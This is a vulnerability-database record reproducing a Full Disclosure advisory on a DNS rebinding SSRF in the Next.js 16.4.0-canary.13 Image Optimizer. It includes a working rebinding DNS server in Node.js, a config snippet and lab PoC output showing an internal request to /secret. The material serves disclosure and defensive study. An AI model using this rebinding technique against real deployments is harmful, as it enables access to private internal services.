GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria

    1 vulnerability found for Next.js by unknown

    GCVE-1988-2026-0015

    Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-07 06:42
    VLAI
    Title
    Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists
    Summary
    Next.js 16.4.0-canary.13 contains a DNS rebinding TOCTOU Server-Side Request Forgery vulnerability in the Image Optimizer's fetchExternalImage() functionality. Next.js attempts to prevent requests to private network resources by resolving the supplied hostname and checking the resulting addresses using isPrivateIp(): const records = await lookup(hostname, { family: 0, all: true, hints: ALL, }) const privateIps = records.map((record) => record.address) if (privateIps.some((ip) => isPrivateIp(ip))) { throw new ImageError(400, '"url" parameter is not allowed') } After the DNS validation succeeds, the application performs the external request using the original URL: const res = await fetch(href, { signal: AbortSignal.timeout(7_000), redirect: 'manual', }) The IP address validated by lookup() is not pinned to the subsequent HTTP connection. As a result, fetch() can perform another DNS resolution for the same hostname. An attacker-controlled DNS server can return a public IP address during the first resolution, allowing the hostname to pass the private-IP validation, and then return a private IP address during the subsequent resolution performed for the HTTP connection. This causes Next.js to validate one network destination but ultimately connect to another, bypassing the Image Optimizer's private-network SSRF protection. Testing confirms that this vulnerability *still exists in Next.js 16.4.0-canary.13*. Impact A remote attacker can bypass the Next.js Image Optimizer's private-IP protections and cause the application server to issue HTTP requests to private network resources. Depending on the deployment environment, this may allow access to internal APIs, container-network services, RFC1918 addresses, localhost services, administrative interfaces, or other HTTP services reachable from the Next.js server. The demonstrated proof confirms that the server establishes an HTTP connection to a private address after validating a public DNS response. Although the Image Optimizer subsequently rejects the returned content because it is not a valid image, the internal HTTP request has already occurred. Proof of Concept The vulnerability was reproduced using an isolated Docker environment containing a controlled DNS server, Next.js 16.4.0-canary.13, and a private HTTP service. The controlled hostname rebind.test is permitted by the application's image configuration: module.exports = { images: { remotePatterns: [ { protocol: 'http', hostname: 'rebind.test', pathname: '/**', }, ], }, } The controlled DNS server returns a public IP address for the first A-record lookup and the private Docker-network address for the second lookup: const { Packet, UDPServer } = require('dns2') let addressLookups = 0 const server = new UDPServer((request, send) => { const response = Packet.createResponseFromRequest(request) const question = request.questions[0] if (question.type === Packet.TYPE.A) { addressLookups++ const address = addressLookups === 1 ? '93.184.216.34' : '172.30.0.4' response.answers.push({ name: question.name, type: Packet.TYPE.A, class: Packet.CLASS.IN, address, ttl: 5, }) console.log(`A lookup ${addressLookups}: ${address}`) } send(response) }) server.bind(53, '0.0.0.0') console.log('DNS server listening on UDP 53') The first lookup returns: 93.184.216.34 The second lookup returns: 172.30.0.4 The private service listens on 172.30.0.4:8080 and records any HTTP request it receives. The PoC is executed using: $ poc.sh PoC Output $ poc.sh Next container command: ["npx","next","start"] internal-1 | Private listener listening on 0.0.0.0:8080 internal-1 | GET /secret HTTP/1.1 next-1 | ▲ Next.js 16.4.0-canary.13 next-1 | - Local: http://localhost:3000 next-1 | - Network: http://172.30.0.3:3000 next-1 | ✓ Ready in 94ms next-1 | ✓ Running next.config.js took 16ms next-1 | ⨯ The requested resource isn't a valid image for http://rebind.test:8080/secret received null internal-1 | Host: rebind.test:8080 dns-1 | DNS server listening on UDP 53 dns-1 | A lookup 1: 93.184.216.34 dns-1 | A lookup 2: 172.30.0.4 PoC passed: public validation was followed by an HTTP request to a private Docker-network address. The output demonstrates that the first DNS resolution returned the public IP address 93.184.216.34, which passed the Next.js private-IP validation. The second DNS resolution returned the private Docker-network address 172.30.0.4. The private listener then received: GET /secret HTTP/1.1 Host: rebind.test:8080 This confirms that Next.js validated the hostname using the public DNS response but subsequently established an HTTP connection to the private network address. The following Next.js error does not invalidate the SSRF: The requested resource isn't a valid image for http://rebind.test:8080/secret received null The response is intentionally plain text rather than an image. The internal HTTP request occurs before the Image Optimizer rejects the response, as demonstrated by the private listener receiving GET /secret. Therefore, the PoC confirms that the private-IP restriction can be bypassed using DNS rebinding. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Impacted products
    Vendor Product Version
    unknown Next.js Affected: unknown
    Create a notification for this product.
    Credits

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "Next.js",
              "vendor": "unknown",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Ron E"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Next.js 16.4.0-canary.13 contains a DNS rebinding TOCTOU Server-Side\nRequest Forgery vulnerability in the Image Optimizer\u0027s fetchExternalImage()\nfunctionality.\n\nNext.js attempts to prevent requests to private network resources by\nresolving the supplied hostname and checking the resulting addresses using\nisPrivateIp():\n\nconst records = await lookup(hostname, {\n  family: 0,\n  all: true,\n  hints: ALL,\n})\n\nconst privateIps = records.map((record) =\u003e record.address)\n\nif (privateIps.some((ip) =\u003e isPrivateIp(ip))) {\n  throw new ImageError(400, \u0027\"url\" parameter is not allowed\u0027)\n}\n\nAfter the DNS validation succeeds, the application performs the external\nrequest using the original URL:\n\nconst res = await fetch(href, {\n  signal: AbortSignal.timeout(7_000),\n  redirect: \u0027manual\u0027,\n})\n\nThe IP address validated by lookup() is not pinned to the subsequent HTTP\nconnection. As a result, fetch() can perform another DNS resolution for the\nsame hostname.\n\nAn attacker-controlled DNS server can return a public IP address during the\nfirst resolution, allowing the hostname to pass the private-IP validation,\nand then return a private IP address during the subsequent resolution\nperformed for the HTTP connection.\n\nThis causes Next.js to validate one network destination but ultimately\nconnect to another, bypassing the Image Optimizer\u0027s private-network SSRF\nprotection.\n\nTesting confirms that this vulnerability *still exists in Next.js\n16.4.0-canary.13*.\nImpact\n\nA remote attacker can bypass the Next.js Image Optimizer\u0027s private-IP\nprotections and cause the application server to issue HTTP requests to\nprivate network resources.\n\nDepending on the deployment environment, this may allow access to internal\nAPIs, container-network services, RFC1918 addresses, localhost services,\nadministrative interfaces, or other HTTP services reachable from the\nNext.js server.\n\nThe demonstrated proof confirms that the server establishes an HTTP\nconnection to a private address after validating a public DNS response.\nAlthough the Image Optimizer subsequently rejects the returned content\nbecause it is not a valid image, the internal HTTP request has already\noccurred.\nProof of Concept\n\nThe vulnerability was reproduced using an isolated Docker environment\ncontaining a controlled DNS server, Next.js 16.4.0-canary.13, and a private\nHTTP service.\n\nThe controlled hostname rebind.test is permitted by the application\u0027s image\nconfiguration:\n\nmodule.exports = {\n  images: {\n    remotePatterns: [\n      {\n        protocol: \u0027http\u0027,\n        hostname: \u0027rebind.test\u0027,\n        pathname: \u0027/**\u0027,\n      },\n    ],\n  },\n}\n\nThe controlled DNS server returns a public IP address for the first\nA-record lookup and the private Docker-network address for the second\nlookup:\n\nconst { Packet, UDPServer } = require(\u0027dns2\u0027)\n\nlet addressLookups = 0\n\nconst server = new UDPServer((request, send) =\u003e {\n  const response = Packet.createResponseFromRequest(request)\n  const question = request.questions[0]\n\n  if (question.type === Packet.TYPE.A) {\n    addressLookups++\n\n    const address =\n      addressLookups === 1 ? \u002793.184.216.34\u0027 : \u0027172.30.0.4\u0027\n\n    response.answers.push({\n      name: question.name,\n      type: Packet.TYPE.A,\n      class: Packet.CLASS.IN,\n      address,\n      ttl: 5,\n    })\n\n    console.log(`A lookup ${addressLookups}: ${address}`)\n  }\n\n  send(response)\n})\n\nserver.bind(53, \u00270.0.0.0\u0027)\nconsole.log(\u0027DNS server listening on UDP 53\u0027)\n\nThe first lookup returns:\n\n93.184.216.34\n\nThe second lookup returns:\n\n172.30.0.4\n\nThe private service listens on 172.30.0.4:8080 and records any HTTP request\nit receives.\n\nThe PoC is executed using:\n\n$ poc.sh\n\nPoC Output\n\n$ poc.sh\nNext container command: [\"npx\",\"next\",\"start\"]\ninternal-1  | Private listener listening on 0.0.0.0:8080\ninternal-1  | GET /secret HTTP/1.1\nnext-1      | \u25b2 Next.js 16.4.0-canary.13\nnext-1      | - Local:         http://localhost:3000\nnext-1      | - Network:       http://172.30.0.3:3000\nnext-1      | \u2713 Ready in 94ms\nnext-1      | \u2713 Running next.config.js took 16ms\nnext-1      | \u2a2f The requested resource isn\u0027t a valid image for\nhttp://rebind.test:8080/secret received null\ninternal-1  | Host: rebind.test:8080\ndns-1       | DNS server listening on UDP 53\ndns-1       | A lookup 1: 93.184.216.34\ndns-1       | A lookup 2: 172.30.0.4\nPoC passed: public validation was followed by an HTTP request to a\nprivate Docker-network address.\n\nThe output demonstrates that the first DNS resolution returned the public\nIP address 93.184.216.34, which passed the Next.js private-IP validation.\n\nThe second DNS resolution returned the private Docker-network address\n172.30.0.4.\n\nThe private listener then received:\n\nGET /secret HTTP/1.1\nHost: rebind.test:8080\n\nThis confirms that Next.js validated the hostname using the public DNS\nresponse but subsequently established an HTTP connection to the private\nnetwork address.\n\nThe following Next.js error does not invalidate the SSRF:\n\nThe requested resource isn\u0027t a valid image for\nhttp://rebind.test:8080/secret received null\n\nThe response is intentionally plain text rather than an image. The internal\nHTTP request occurs before the Image Optimizer rejects the response, as\ndemonstrated by the private listener receiving GET /secret.\n\nTherefore, the PoC confirms that the private-IP restriction can be bypassed\nusing DNS rebinding.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-07T06:42:13Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description",
                "exploit"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/29"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Sep/29"
            },
            {
              "url": "http://172.30.0.3:3000"
            },
            {
              "url": "http://localhost:3000"
            },
            {
              "url": "http://rebind.test:8080/secret"
            },
            {
              "url": "https://github.com/ob1sec"
            },
            {
              "url": "https://linkedin.com/in/yourhandle"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            },
            {
              "url": "https://www.linkedin.com/in/ronedgerson1"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Sep/29"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0015",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/29",
                "automated": true,
                "contentSha256": "b531735185ae5849ae015495e10064ea38f69fe0d1ba3fa4903b06aaffa0dbdb",
                "evidenceScore": 9,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/29",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-09-01T23:48:36Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-09-07T06:42:13Z",
        "dateUpdated": "2026-09-07T06:42:13Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0015"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }